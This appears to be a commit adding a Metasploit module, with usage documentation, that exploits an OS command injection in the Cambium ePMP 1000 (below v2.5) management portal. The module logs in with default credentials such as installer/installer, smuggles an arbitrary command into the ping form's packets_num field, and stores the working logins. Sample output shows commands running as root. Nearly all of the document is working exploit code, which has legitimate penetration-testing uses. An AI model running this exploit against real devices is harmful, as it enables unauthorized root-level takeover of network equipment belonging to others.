Add Cambium ePMP Arbitrary Command Execution Module
juushya
parent
11b251b928
commit
30896d1fab
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This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
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## Verification Steps
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1. Do: ```use auxiliary/scanner/http/epmp1000_cmd_exec```
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2. Do: ```set RHOSTS [IP]```
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3. Do: ```set RPORT [PORT]```
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4. Do: ```run```
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## Sample Output
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```
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msf > use auxiliary/scanner/http/epmp1000_cmd_exec
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msf auxiliary(epmp1000_cmd_exec) > set rhosts 1.3.3.7
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msf auxiliary(epmp1000_cmd_exec) > set rport 80
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msf auxiliary(epmp1000_cmd_exec) > run
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[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
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[*] 1.3.3.7:80 - Attempting to login...
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[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
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[*] 1.3.3.7:80 - Executing id; pwd
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uid=0(root) gid=0(root)
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/www/cgi-bin
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[*] Scanned 1 of 1 hosts (100% complete)
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[*] Auxiliary module execution completed
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```
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Cambium ePMP 1000 (up to v2.5) Arbitrary Command Execution',
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'Description' => %{
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This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
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},
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'References' =>
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[
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['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
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['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
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],
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'Author' =>
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[
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'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
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],
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'License' => MSF_LICENSE,
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'DefaultOptions' => { 'VERBOSE' => true })
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)
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register_options(
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[
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Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
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OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
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OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),
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OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd'])
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], self.class
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)
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end
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def run_host(ip)
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unless is_app_epmp1000?
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return
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end
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each_user_pass do |user, pass|
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do_login(user, pass)
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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last_attempted_at: Time.now,
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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#
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# Check if App is Cambium ePMP 1000
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#
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def is_app_epmp1000?
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begin
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res = send_request_cgi(
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{
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'uri' => '/',
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'method' => 'GET'
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}
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)
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
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print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
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return false
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end
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good_response = (
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res &&
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res.code == 200 &&
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res.headers['Server'] &&
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(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
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)
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if good_response
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get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
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if !get_epmp_ver.nil?
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epmp_ver = get_epmp_ver[1]
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if !epmp_ver.nil?
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print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
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if "#{epmp_ver}" >= '2.5'
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print_error('This ePMP version is not vulnerable. Module will not continue.')
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return false
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else
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return true
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end
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else
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print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
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return true
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end
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end
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else
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print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
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return false
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end
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end
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#
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# Execute arbitrary command(s)
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#
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def do_login(user, pass)
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print_status("#{rhost}:#{rport} - Attempting to login...")
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begin
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res = send_request_cgi(
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{
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'uri' => '/cgi-bin/luci',
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'method' => 'POST',
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'headers' => {
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'X-Requested-With' => 'XMLHttpRequest',
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'Accept' => 'application/json, text/javascript, */*; q=0.01'
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},
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'vars_post' =>
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{
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'username' => 'dashboard',
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'password' => ''
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}
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}
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)
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good_response = (
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res &&
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res.code == 200 &&
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res.headers.include?('Set-Cookie') &&
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res.headers['Set-Cookie'].include?('sysauth')
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)
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if good_response
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sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
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cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
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res = send_request_cgi(
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{
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'uri' => '/cgi-bin/luci',
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'method' => 'POST',
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'cookie' => cookie1,
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'headers' => {
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'X-Requested-With' => 'XMLHttpRequest',
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'Accept' => 'application/json, text/javascript, */*; q=0.01',
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'Connection' => 'close'
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},
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'vars_post' =>
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{
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'username' => user,
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'password' => pass
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}
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}
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)
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end
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good_response = (
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res &&
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res.code == 200 &&
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res.headers.include?('Set-Cookie') &&
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res.headers['Set-Cookie'].include?('stok=')
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)
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if good_response
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print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
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report_cred(
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ip: rhost,
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port: rport,
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service_name: 'Cambium ePMP 1000',
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user: user,
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password: pass
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)
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get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
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if !get_stok.nil?
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stok_value = get_stok[1]
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sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
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cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
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uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
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command = datastore['CMD']
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inject = '|' + "#{command}" + ' ||'
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clean_inject = CGI.unescapeHTML(inject.to_s)
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print_status("#{rhost}:#{rport} - Executing #{command}")
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res = send_request_cgi(
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{
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'uri' => uri1,
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'method' => 'POST',
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'cookie' => cookie2,
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'headers' => {
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'Accept' => '*/*',
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'Accept-Language' => 'en-US,en;q=0.5',
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'Accept-Encoding' => 'gzip, deflate',
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'X-Requested-With' => 'XMLHttpRequest',
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'ctype' => '*/*',
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'Connection' => 'close'
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},
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'vars_post' =>
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{
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'ping_ip' => '8.8.8.8',
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'packets_num' => clean_inject,
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'buf_size' => 0,
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'ttl' => 1,
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'debug' => '0'
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}
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}
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)
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vprint_line("#{res.body}")
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# Extract ePMP version
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res = send_request_cgi(
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{
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'uri' => '/',
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'method' => 'GET'
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}
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)
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epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
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report_cred(
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ip: rhost,
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port: rport,
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service_name: "Cambium ePMP 1000 v#{epmp_ver}",
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user: user,
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password: pass
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)
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else
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# Login failed
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print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
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end
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end
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end
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end
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end
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